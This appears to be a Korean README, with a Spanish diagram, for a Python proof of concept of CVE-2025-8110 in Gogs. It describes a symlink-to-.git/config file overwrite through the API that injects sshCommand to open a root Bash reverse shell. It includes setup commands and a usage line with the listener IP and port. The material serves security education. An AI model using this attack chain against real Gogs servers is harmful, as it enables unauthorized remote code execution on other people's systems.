
CVE-2025-8110용 Python 개념 증명으로, Gogs에서 심볼릭 링크 및 API를 통한 임의 파일 쓰기에서 RCE까지 시연하며, 교육용 랩 사용을 위한 것입니다.
이 저장소는 자체 호스팅 Git 서비스인 Gogs(버전 0.13.3 및 이전)에 등록된 취약점 CVE-2025-8110을 시연하고 분석하기 위한 Python 개념 증명(PoC) 스크립트를 포함하고 있습니다.
[!WARNING] 이 소프트웨어는 교육 및 보안 연구 목적으로만 제공됩니다. 이 자료를 소유자의 사전 서면 동의 없이 대상에 사용하는 것은 완전히 불법입니다. 이 저장소의 저자는 이 코드 사용으로 인한 어떠한 손해, 피해 또는 오용에 대해 책임을 지지 않습니다. 항상 자신의 책임 하에 통제된 환경 또는 승인된 시뮬레이션(CTF 연구실 등) 내에서만 사용하십시오.
CVE-2025-8110은 Gogs의 PutContents API를 통해 심볼릭 링크(symlinks)를 처리할 때 충분하지 않은 검증으로 인해 발생하는 임의 파일 쓰기 심각한 취약점입니다.
인증된 공격자는 다음을 할 수 있습니다:
.git/config)을 가리키는 심볼릭 링크를 포함하는 로컬 Git 저장소를 만듭니다.root로 실행되는 경우, Git 구성 파일의 속성에 원하는 명령을 주입하여 파일 쓰기를 **원격 코드 실행(RCE)**으로 확장할 수 있습니다.sshCommandexploit.py)이 스크립트는 유효한 자격 증명과 Gogs 웹 인터페이스에서 수동으로 미리 생성된 API 토큰을 사용하여 전체 익스플로잇 과정을 자동화합니다:
┌──────────────────────────────────────────────┐
│ Máquina del Atacante (Kali) │
└──────────────────────┬───────────────────────┘
│
(1) Crea Repositorio │ (3) Sube Symlink (.git/config)
Malicioso vía API │ vía git push
▼
┌──────────────────────────────────────────────┐
│ Túnel SSH Local (puerto 8080) │
└──────────────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ Servidor Víctima Gogs │
│ (Puerto 3001) │
└──────────────────────┬───────────────────────┘
│
│ (4) API PUT "contents"
│ Sigue Symlink y escribe
│ "sshCommand" en .git/config
▼
┌──────────────────────────────────────────────┐
│ Ejecución del Payload como ROOT │
└──────────────────────────────────────────────┘
create_malicious_repo: 제공된 액세스 토큰으로 인증하여 Gogs API(/api/v1/user/repos)에 POST 요청을 보내 동적으로 생성된 무작위 이름으로 새 저장소를 만듭니다.upload_malicious_symlink:
/tmp/에 복제합니다..git/config를 가리키는 심볼릭 링크를 로컬로 생성합니다.git push)을 통해 변경 사항을 서버로 다시 보냅니다.exploit: Git의 sshCommand 속성에 주입 트릭을 사용하여 페이로드를 정의합니다. API를 통해 콘텐츠를 업데이트하면 Gogs는 서버에서 자체 .git/config를 덮어쓰도록 강제됩니다. Git 프로세스의 마지막 부분이 활성화되면 Gogs 시스템이 터미널 명령(Bash 리버스 셸)을 실행하여 Netcat 리스너로 연결을 반환합니다.스크립트를 실행하기 전에 Git에서 전역 ID 데이터를 설정하여 자동 커밋 시 오류를 방지하세요:
git config --global user.email "[email protected]"
git config --global user.name "estudiante"
### 사용법: python3 exploit.py -u (http://127.0.0.1:8080) -lh <TU_IP_VPN> -lp 4446